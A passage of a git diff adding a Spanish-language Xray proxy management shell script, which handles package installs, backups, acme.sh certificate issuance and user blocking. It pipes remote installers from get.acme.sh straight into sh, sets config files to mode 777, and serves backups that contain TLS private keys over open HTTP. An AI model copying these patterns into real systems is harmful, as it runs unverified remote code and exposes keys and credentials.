;; + "install") check_uninstall 0 && install 0 + ;; + "uninstall") check_install 0 && uninstall 0 + ;; + *) show_usage + esac +else + show_menu +fi diff --git a/Recursos/test/xray_manager.sh b/Recursos/test/xray_manager.sh new file mode 100644 index 0000000..7ee00dd --- /dev/null +++ b/Recursos/test/xray_manager.sh @@ -0,0 +1,1849 @@ +#!/bin/sh +clear +config="/etc/xray/config.json" +configLOCK="/etc/xray/config.json.lock" +temp="/etc/xray/temp.json" +CGHlog='/var/log/xray/access.log' +v2rdir="/etc/xr" && [[ ! -d $v2rdir ]] && mkdir $v2rdir +user_conf="/etc/xr/user" && [[ ! -e $user_conf ]] && touch $user_conf +backdir="/etc/xr/back" && [[ ! -d ${backdir} ]] && mkdir ${backdir} +tmpdir="$backdir/tmp" +[[ ! -e $v2rdir/conf ]] && echo "autBackup 0" > $v2rdir/conf +if [[ $(cat $v2rdir/conf | grep "autBackup") = "" ]]; then + echo "autBackup 0" >> $v2rdir/conf +fi +_v2=`if netstat -tunlp | grep xray 1> /dev/null 2> /dev/null; then +[[ -e ${config} ]] && echo -e "\033[1;32m[ INST \033[1;31m+ \033[1;32mWORK ] " +else +[[ -e ${config} ]] && echo -e "\033[1;32m[ INST \033[1;31m+ \033[1;33mLOADING \033[1;32m] " || echo -e "\033[1;32m[ \033[1;31mNO INST \033[1;32m] " +fi`; +barra="\033[0;31m=====================================================\033[0m" +#[[ -e /bin/ejecutar/msg ]] && source /bin/ejecutar/msg > /dev/null || source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg) > /dev/null +source msg +numero='^[0-9]+$' +hora=$(printf '%(%H:%M:%S)T') +fecha=$(printf '%(%D)T') + +un_bar () { +#==comando a ejecutar== +comando="$1" +#==interfas== +in=' [' +en=' ] ' +full_in="➛" +full_en='100%' +bar=("--------------------" +"=-------------------" +"]=------------------" +"[-]=-----------------" +"=[-]=----------------" +"-=[-]=---------------" +"--=[-]=--------------" +"---=[-]=-------------" +"----=[-]=------------" +"-----=[-]=-----------" +"------=[-]=----------" +"-------=[-]=---------" +"--------=[-]=--------" +"---------=[-]=-------" +"----------=[-]=------" +"-----------=[-]=-----" +"------------=[-]=----" +"-------------=[-]=---" +"--------------=[-]=--" +"---------------=[-]=-" +"----------------=[-]=" +"-----------------=[-]" +"------------------=[" +"-------------------=" +"------------------=[" +"-----------------=[-]" +"----------------=[-]=" +"---------------=[-]=-" +"--------------=[-]=--" +"-------------=[-]=---" +"------------=[-]=----" +"-----------=[-]=-----" +"----------=[-]=------" +"---------=[-]=-------" +"--------=[-]=--------" +"-------=[-]=---------" +"------=[-]=----------" +"-----=[-]=-----------" +"----=[-]=------------" +"---=[-]=-------------" +"--=[-]=--------------" +"-=[-]=---------------" +"=[-]=----------------" +"[-]=-----------------" +"]=------------------" +"=-------------------" +"--------------------"); +#==color== +in="\033[1;33m$in\033[0m" +en="\033[1;33m$en\033[0m" +full_in="\033[1;31m$full_in" +full_en="\033[1;32m$full_en\033[0m" + + _=$( +$comando > /dev/null 2>&1 +) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do + for i in "${bar[@]}"; do + echo -ne "\r $in" + echo -ne "ESPERE $en $in \033[1;31m$i" + echo -ne " $en" + sleep 0.2 + done +done +echo -e " $full_in $full_en" +sleep 0.2s +} + + + +usrCONEC() { +[[ $log0 -le 1 ]] && xray clean &> /dev/null && let log0++ && clear +msg -bar3 +echo -e "" +echo -e " ESPERANDO A LA VERIFICACION DE IPS Y USUARIOS " +echo -e " ESPERE UN MOMENTO PORFAVOR $log0" +echo -e "" +msg -bar3 +fun_bar +msg -bar3 +sleep 5s +clear&&clear +title2 +msg -bar3 +users="$(cat $config | jq -r .inbounds[].settings.clients[].email)" +IP_tconex=$(netstat -nap | grep "$xrayports" | grep xray | grep ESTABLISHED | awk {'print $5'} | awk -F ":" '{print $1}' | sort | uniq) +n=1 +[[ -z $IP_tconex ]] && echo -e " NO HAY USUARIOS CONECTADOS!" +for i in $IP_tconex +do + USERauth=$(cat ${CGHlog} | grep $i | grep accepted |awk '{print $7}'| sort | uniq) + Users+="$USERauth\n" +done +echo -e " N) USER - CONEXIONES "|column -t -s '-' +for U in $users + do + CConT=$(echo -e "$Users" | grep $U |wc -l) + [[ $CConT = 0 ]] && continue + UConc+=" $n) $U -$CConT\n" + let n++ +done +echo -e "$UConc"|column -t -s '-' +msg -bar3 +continuar +read foo +} + +install_ini () { +add-apt-repository universe +apt update -y; apt upgrade -y +clear +msg -bar3 +echo -e "\033[92m -- INSTALANDO PAQUETES NECESARIOS -- " +msg -bar3 +#bc +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] || apt-get install bc -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install bc................... $ESTATUS " +#uuidgen +[[ $(dpkg --get-selections|grep -w "uuid-runtime"|head -1) ]] || sudo apt-get install uuid-runtime -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "uuid-runtime"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "uuid-runtime"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install uuid-runtime......... $ESTATUS " +#python +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || apt-get install python -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install python-pip........... $ESTATUS " +#pip +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] || apt-get install python-pip -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install python-pip........... $ESTATUS " +#python3 +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] || apt-get install python3 -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] && ESTATUS=`echo -e "\e[3;32mINSTALADO\e[0m"` &>/dev/null +echo -e "\033[97m # apt-get install python3.............. $ESTATUS " +#python3-pip +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] || apt-get install python3-pip -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] && ESTATUS=`echo -e "\e[3;32mINSTALADO\e[0m"` &>/dev/null +echo -e "\033[97m # apt-get install python3-pip.......... $ESTATUS " +#QRENCODE +[[ $(dpkg --get-selections|grep -w "qrencode"|head -1) ]] || apt-get install qrencode -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "qrencode"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "qrencode"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install qrencode............. $ESTATUS " +#jq +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || apt-get install jq -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install jq................... $ESTATUS " +#curl +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] || apt-get install curl -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install curl................. $ESTATUS " +#npm +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] || apt-get install npm -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install npm.................. $ESTATUS " +#nodejs +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || apt-get install nodejs -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install nodejs............... $ESTATUS " +#socat +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] || apt-get install socat -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install socat................ $ESTATUS " +#netcat +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] || apt-get install netcat -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install netcat............... $ESTATUS " +#netcat-traditional +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] || apt-get install netcat-traditional -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install netcat-traditional... $ESTATUS " +#net-tools +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || apt-get net-tools -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install net-tools............ $ESTATUS " +#cowsay +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || apt-get install cowsay -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install cowsay............... $ESTATUS " +#figlet +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || apt-get install figlet -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install figlet............... $ESTATUS " +#lolcat +apt-get install lolcat -y &>/dev/null +sudo gem install lolcat &>/dev/null +[[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install lolcat............... $ESTATUS " + +msg -bar3 +echo -e "\033[92m La instalacion de paquetes necesarios a finalizado" +msg -bar3 +echo -e "\033[97m Si la instalacion de paquetes tiene fallas" +echo -ne "\033[97m Puede intentar de nuevo [s/n]: " +read inst +[[ $inst = @(s|S|y|Y) ]] && install_ini +} + + +autB(){ + if [[ ! $(cat $v2rdir/conf | grep "autBackup" | cut -d " " -f2) = "0" ]]; then + autBackup + fi + } + +restore(){ + clear + + unset num + unset opcion + unset _res + + if [[ -z $(ls $backdir) ]]; then + title " no se encontraron respaldos" + sleep 0.5 + return + fi + + num=1 + title " Lista de Respaldos creados" + blanco " nom \033[0;31m| \033[1;37mfechas \033[0;31m| \033[1;37mhora" + msg -bar3 + for i in $(ls $backdir); do + col "$num)" "$i" + _res[$num]=$i + let num++ + done + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco " cual desea restaurar?" 0 + read opcion + + [[ $opcion = 0 ]] && return + [[ -z $opcion ]] && blanco "\n deves seleccionar una opcion!" && sleep 0.1 && return + [[ ! $opcion =~ $numero ]] && blanco "\n solo deves ingresar numeros!" && sleep 0.1 && return + [[ $opcion -gt ${#_res[@]} ]] && blanco "\n solo numeros entre 0 y ${#_res[@]}" && sleep 0.1 && return + + mkdir $backdir/tmp + tar xpf $backdir/${_res[$opcion]} -C $backdir/tmp/ + + clear + title " Archivos que se restauran" + + if rm -rf $config && cp $tmpdir/config.json $temp; then + sleep 0.1 + echo "cat $temp | jq '.inbounds[].streamSettings.tlsSettings += {certificates:[{certificateFile:\"/data/xray.crt\",keyFile:\"/data/xray.key\"}]}' >> $config" | bash + chmod 777 $config + rm $temp + blanco " /etc/xray/config.json..." && verde "[ok]" + else + blanco " /etc/xray/config.json..." && rojo "[fail]" + fi + + if rm -rf $user_conf && cp $tmpdir/user $user_conf; then + blanco " /etc/xr/user..." && verde "[ok]" + else + blanco " /etc/xr/user..." && rojo "[fail]" + fi + [[ -e $tmpdir/fullchain.cer ]] && mv $tmpdir/fullchain.cer $tmpdir/fullchain.crt + if rm -rf /data && mkdir /data && cp $tmpdir/*.crt /data/xray.crt && cp $tmpdir/*.key /data/xray.key; then + blanco " /data/xray.crt..." && verde "[ok]" + blanco " /data/xray.key..." && verde "[ok]" + else + blanco " /data/xray.crt..." && rojo "[fail]" + blanco " /data/xray.key..." && rojo "[fail]" + msg -bar3 + echo -e "VALIDA TU CERTIFICADO SSL " + xray tls + fi + rm -rf $tmpdir + msg -bar3 + continuar + read foo +} + +server(){ + clear + + if [[ $(npm ls -g | grep "http-server") = "" ]]; then + npm install --global http-server + clear + fi + + if [[ $(ps x | grep "http-server" | grep -v grep) = "" ]]; then + screen -dmS online http-server /etc/xr/back/ --port 95 -s + title " Respaldos en linea" + col "su url:" "http://$(wget -qO- ipv4.icanhazip.com):95" + msg -bar3 + continuar + read foo + else + killall http-server + title " servidor detenido..." + sleep 0.1 + fi + } + +autBackup(){ + unset fecha + unset hora + unset tmp + unset back + unset cer + unset key + #fecha=`date +%d-%m-%y-%R` + fecha=`date +%d-%m-%y` + hora=`date +%R` + tmp="$backdir/tmp" && [[ ! -d ${tmp} ]] && mkdir ${tmp} + back="$backdir/v2r___${fecha}___${hora}.tar" + cer=$(cat /etc/xray/config.json | jq -r ".inbounds[].streamSettings.tlsSettings.certificates[].certificateFile") + key=$(cat /etc/xray/config.json | jq -r ".inbounds[].streamSettings.tlsSettings.certificates[].keyFile") + + cp $user_conf $tmp + cp $config $tmp + [[ ! $cer = null ]] && [[ -e $cer ]] && cp $cer $tmp + [[ ! $key = null ]] && [[ -e $cer ]] && cp $key $tmp + + cd $tmp + tar -cpf $back * + cp $back /var/www/html/xrayBack.tar && echo -e " + Descargarlo desde cualquier sitio con acceso WEB + LINK : http://$(wget -qO- ifconfig.me):81/xrayBack.tar \033[0m +-------------------------------------------------------" +read -p "ENTER PARA CONTINUAR" + rm -rf $tmp + } + +on_off_res(){ + if [[ $(cat $v2rdir/conf | grep "autBackup" | cut -d " " -f2) = "0" ]]; then + echo -e "\033[0;31m[off]" + else + echo -e "\033[1;92m[on]" + fi + } + +blanco(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;37m$1\033[0m" + } || { + echo -ne " \033[1;37m$1:\033[0m " + } +} + +verde(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;32m$1\033[0m" + } || { + echo -ne " \033[1;32m$1:\033[0m " + } +} + +rojo(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;31m$1\033[0m" + } || { + echo -ne " \033[1;31m$1:\033[0m " + } +} + +col(){ + + nom=$(printf '%-55s' "\033[0;92m${1} \033[0;31m>> \033[1;37m${2}") + echo -e " $nom\033[0;31m${3} \033[0;92m${4}\033[0m" +} + +col2(){ + + echo -e " \033[1;91m$1\033[0m \033[1;37m$2\033[0m" +} + +vacio(){ + + blanco "\n no se puede ingresar campos vacios..." +} + +cancelar(){ + + echo -e "\n \033[3;49;31minstalacion cancelada...\033[0m" +} + +continuar(){ + + echo -e " \033[3;49;32mEnter para continuar...\033[0m" +} + +title2(){ +xrayports=`lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep xray | awk '{print substr($9,3); }' > /tmp/xray.txt && echo | cat /tmp/xray.txt | tr '\n' ' ' > /etc/adm-lite/xrayports.txt && cat /etc/adm-lite/xrayports.txt` > /dev/null 2>&1 +xrayports=$(echo $xrayports | awk {'print $1'}) +_tconex=$(netstat -nap | grep "$xrayports" | grep xray | grep ESTABLISHED | awk {'print $5'} | awk -F ":" '{print $1}' | sort | uniq | wc -l) + v1=$(cat /etc/adm-lite/v-local.log) + v2=$(cat /bin/ejecutar/v-new.log) + msg -bar3 + [[ $v1 = $v2 ]] && echo -e " \e[97m\033[1;44m MENU XRAY LITE [$v1] POWER BY @drowkid01 \033[0m" || echo -e " \e[97m\033[1;44m MENU XRAY LITE POWER BY @drowkid01 [$v1] >> \033[1;92m[$v2] \033[0m" +[[ ! -z $xrayports ]] && echo -e " \e[97m\033[1;41mPUERTO ACTIVO :\033[0m \033[3;32m$xrayports\033[0m \e[97m\033[1;41m ACTIVOS:\033[0m \033[3;32m\e[97m\033[1;41m $_tconex " || echo -e " \e[97m\033[1;41mERROR A INICIAR xray : \033[0m \033[3;32m FAIL\033[3;32m" + } + +title(){ + msg -bar3 + blanco "$1" + msg -bar3 +} + +userDat(){ + blanco " N° Usuarios fech exp dias" + msg -bar3 +} + +#============================================ +domain_check() { + ssl_install_fun + clear + msg -bar3 + echo -e " \033[1;49;37mgenerador de certificado ssl/tls\033[0m" + msg -bar3 + echo -e " \033[1;49;37mingrese su dominio (ej: midominio.com.ar)\033[0m" + echo -ne ' \033[3;49;31m>>>\033[0m ' + read domain + + echo -e "\n \033[1;49;36mOteniendo resolucion dns de su dominio...\033[0m" + domain_ip=$(ping "${domain}" -c 1 | sed '1{s/[^(]*(//;s/).*//;q}') + + echo -e "\n \033[1;49;36mOteniendo IP local...\033[0m" + local_ip=$(wget -qO- ipv4.icanhazip.com) + sleep 0.5 + + while : + do + if [[ $(echo "${local_ip}" | tr '.' '+' | bc) -eq $(echo "${domain_ip}" | tr '.' '+' | bc) ]]; then + clear + msg -bar3 + echo -e " \033[1;49;37mSu dominio: ${domain}\033[0m" + msg -bar3 + echo -e " \033[1;49;37mIP dominio:\033[0m \033[1;49;32m${domain_ip}\033[0m" + echo -e " \033[1;49;37mIP local:\033[0m \033[1;49;32m${local_ip}\033[0m" + msg -bar3 + echo -e " \033[1;49;32mComprovacion exitosa\033[0m" + echo -e " \033[1;49;37mLa IP de su dominio coincide\n con la IP local, desea continuar?\033[0m" + msg -bar3 + echo -ne " \033[1;49;37msi o no [S/N]:\033[0m " + read opcion + case $opcion in + [Yy]|[Ss]) port_exist_check;; + [Nn]) cancelar && sleep 0.5;; + *) echo -e "\n \033[1;49;37mselecione (S) para si o (N) para no!\033[0m" && sleep 0.5 && continue;; + esac + else + clear + msg -bar3 + echo -e " \033[1;49;37mSu dominio: ${domain}\033[0m" + msg -bar3 + echo -e " \033[1;49;37mIP dominio:\033[0m \033[3;49;31m${domain_ip}\033[0m" + echo -e " \033[1;49;37mIP local:\033[0m \033[3;49;31m${local_ip}\033[0m" + msg -bar3 + echo -e " \033[3;49;31mComprovacion fallida\033[0m" + echo -e " \033[4;49;97mLa IP de su dominio no coincide\033[0m\n \033[4;49;97mcon la IP local\033[0m" + msg -bar3 + echo -e " \033[1;49;36m> Asegúrese que se agrego el registro" + echo -e " (A) correcto al nombre de dominio." + echo -e " > Asegurece que su registro (A)" + echo -e " no posea algun tipo de seguridad" + echo -e " adiccional y que solo resuelva DNS." + echo -e " > De lo contrario, xray no se puede" + echo -e " utilizar normalmente...\033[0m" + msg -bar3 + echo -e " \033[1;49;37mdesea continuar?" + echo -ne " si o no [S/N]:\033[0m " + read opcion + case $opcion in + [Yy]|[Ss]) port_exist_check;; + [Nn]) cancelar && sleep 0.5;; + *) echo -e "\n \033[1;49;37mselecione (S) para si o (N) para no!\033[0m" && sleep 0.2 && continue;; + esac + fi + break + done +} + +port_exist_check() { + while : + do + clear + msg -bar3 + echo -e " \033[1;49;37mPara la compilacion del certificado" + echo -e " se requiere que los siguientes puerto" + echo -e " esten libres." + echo -e " '80' '443'" + echo -e " este script intentara detener" + echo -e " cualquier proseso que este" + echo -e " usando estos puertos\033[0m" + msg -bar3 + echo -e " \033[1;49;37mdesea continuar?" + echo -ne " [S/N]:\033[0m " + read opcion + + case $opcion in + [Ss]|[Yy]) + ports=('80' '443') + clear + msg -bar3 + echo -e " \033[1;49;37mcomprovando puertos...\033[0m" + msg -bar3 + sleep 0.2 + for i in ${ports[@]}; do + [[ 0 -eq $(lsof -i:$i | grep -i -c "listen") ]] && { + echo -e " \033[3;49;32m$i [OK]\033[0m" + } || { + echo -e " \033[3;49;31m$i [fail]\033[0m" + } + done + msg -bar3 + for i in ${ports[@]}; do + [[ 0 -ne $(lsof -i:$i | grep -i -c "listen") ]] && { + echo -ne " \033[1;49;37mliberando puerto $i...\033[1;49;37m " + lsof -i:$i | awk '{print $2}' | grep -v "PID" | xargs kill -9 + echo -e "\033[1;49;32m[OK]\033[0m" + } + done + ;; + [Nn]) cancelar && sleep 0.2 && break;; + *) echo -e "\n \033[1;49;37mselecione (S) para si o (N) para no!\033[0m" && sleep 0.2;; + esac + continuar + read foo + ssl_install + break + done +} + +ssl_install() { + while : + do + + if [[ -f "/data/xray.key" || -f "/data/xray.crt" ]]; then + clear + msg -bar3 + echo -e " \033[1;49;37mya existen archivos de certificados" + echo -e " en el directorio asignado.\033[0m" + msg -bar3 + echo -e " \033[1;49;37mENTER para canselar la instacion." + echo -e " 'S' para eliminar y continuar\033[0m" + msg -bar3 + echo -ne " opcion: " + read ssl_delete + case $ssl_delete in + [Ss]|[Yy]) + rm -rf /data/* + echo -e " \033[3;49;32marchivos removidos..!\033[0m" + sleep 0.2 + ;; + *) cancelar && sleep 0.2 && break;; + esac + fi + + if [[ -f "$HOME/.acme.sh/${domain}_ecc/${domain}.key" || -f "$HOME/.acme.sh/${domain}_ecc/${domain}.cer" ]]; then + msg -bar3 + echo -e " \033[1;49;37mya existe un almacer de certificado" + echo -e " bajo este nombre de dominio\033[0m" + msg -bar3 + echo -e " \033[1;49;37m'ENTER' cansela la instalacion" + echo -e " 'D' para eliminar y continuar" + echo -e " 'R' para restaurar el almacen crt\033[0m" + msg -bar3 + echo -ne " opcion: " + read opcion + case $opcion in + [Dd]) + echo -e " \033[1;49;92meliminando almacen cert...\033[0m" + sleep 0.2 + rm -rf $HOME/.acme.sh/${domain}_ecc + ;; + [Rr]) + echo -e " \033[1;49;92mrestaurando certificados...\033[0m" + sleep 0.2 + "$HOME"/.acme.sh/acme.sh --installcert -d "${domain}" --fullchainpath /data/xray.crt --keypath /data/xray.key --ecc + echo "cat $temp | jq '.inbounds[].streamSettings.tlsSettings += {certificates:[{certificateFile:\"/data/xray.crt\",keyFile:\"/data/xray.key\"}]}' | jq '.inbounds[] += {domain:\"$domi\"}' | jq '.inbounds[].streamSettings += {security:\"tls\"}' >> $config" | bash + restart_v2r + echo -e " \033[1;49;37mrestauracion completa...\033[0m\033[1;49;92m[ok]\033[0m" + break + ;; + *) cancelar && sleep 0.2 && break;; + esac + fi + acme + break + done +} + +ssl_install_fun() { + apt install socat netcat -y + curl https://get.acme.sh | sh +} + +acme() { + clear + msg -bar3 + echo -e " \033[1;49;37mcreando nuevos certificado ssl/tls\033[0m" + #msg -bar3 +# read -p " Ingrese correo Para Validar el acme SSL : " corrio + msg -bar3 + wget -O - https://get.acme.sh | sh -s email=$corrio + msg -bar3 + if "$HOME"/.acme.sh/acme.sh --issue -d "${domain}" --standalone -k ec-256 --force --test; then + echo -e "\n \033[1;49;37mSSL La prueba del certificado\n se emite con éxito y comienza la emisión oficial\033[0m\n" + rm -rf "$HOME/.acme.sh/${domain}_ecc" + sleep 0.2 + else + echo -e "\n \033[4;49;31mError en la emisión de la prueba del certificado SSL\033[0m" + msg -bar3 + rm -rf "$HOME/.acme.sh/${domain}_ecc" + stop=1 + fi + + if [[ 0 -eq $stop ]]; then + + if "$HOME"/.acme.sh/acme.sh --issue -d "${domain}" --standalone -k ec-256 --force; then + echo -e "\n \033[1;49;37mSSL El certificado se genero con éxito\033[0m" + msg -bar3 + sleep 0.2 + [[ ! -d /data ]] && mkdir /data + if "$HOME"/.acme.sh/acme.sh --installcert -d "${domain}" --fullchainpath /data/xray.crt --keypath /data/xray.key --ecc --force; then + msg -bar3 + mv $config $temp + echo "cat $temp | jq '.inbounds[].streamSettings.tlsSettings += {certificates:[{certificateFile:\"/data/xray.crt\",keyFile:\"/data/xray.key\"}]}' | jq '.inbounds[] += {domain:\"$domain\"}' | jq '.inbounds[].streamSettings += {security:\"tls\"}' >> $config" | bash + chmod 777 $config + rm $temp + restart_v2r + echo -e "\n \033[1;49;37mLa configuración del certificado es exitosa\033[0m" + msg -bar3 + echo -e " /data/xray.crt" + echo -e " /data/xray.key" + msg -bar3 + sleep 0.2 + fi + else + echo -e "\n \033[4;49;31mError al generar el certificado SSL\033[0m" + msg -bar3 + rm -rf "$HOME/.acme.sh/${domain}_ecc" + fi + fi + continuar + read foo +} + +#============================================ + +restart_v2r(){ + xray restart + #echo "reiniciando" +} + + +fun_lock(){ + unset seg + local seg=$(date +%s) + while : + do + clear + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + title " BLOQUEAR USUARIO Y MANDARLO AL LIMBOOOOO" + userDat + local n=1 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + [[ $i = null ]] || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + col "$n)" "$i" "$DateExp" "$exp" + local uid[$n]="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f2|tr -d '[[:space:]]')" + local user[$n]=$i + local p=$n + let n++ + } + done + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUMERO DE USUARIO A BLOQUEAR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.2 + } || { + let n-- + [[ $opcion -gt ${n} ]] && { + blanco "solo numero entre 1 y $n" + sleep 0.2 + } || { + #echo -e " OPCION ${opcion} / USER : ${user[$opcion]}" + local LOCKDATA="$(cat ${user_conf}|grep -w "${user[$opcion]}"|cut -d'|' -f3)" + local tempo=$(date +%s --date="$LOCKDATA") + local dias="$(($(($tempo - $seg)) / 86400))" + [[ $opcion>=${p} ]] && { + echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days") |${dias}" >> $configLOCK + #echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days") |${dias}" + mv $config $temp + echo jq \'del\(.inbounds[].settings.clients[$opcion]\)\' $temp \> $config | bash + chmod 777 $config + sed -i "/${user[$opcion]}/d" $user_conf + rm $temp + chmod 777 $configLOCK + #read -p "PAUSE" + } || { + echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days") |${dias}" >> $configLOCK + #echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days") |${dias}" + mv $config $temp + echo jq \'del\(.inbounds[].settings.clients[$opcion]\)\' $temp \> $config | bash + chmod 777 $config + rm $temp + sed -i "/${user[$opcion]}/d" $user_conf + chmod 777 $configLOCK + #read -p "PAUSE" + clear + msg -bar3 + #blanco " Usuario $(jq .inbounds[].settings.clients[$opcion].email $config) eliminado" + blanco " USUARIO ${user[$opcion]} NUM: ${opcion} ENVIADO AL LIMBOOOO !!" + msg -bar3 + restart_v2r + } + sleep 0.2 + } + } +done +} + 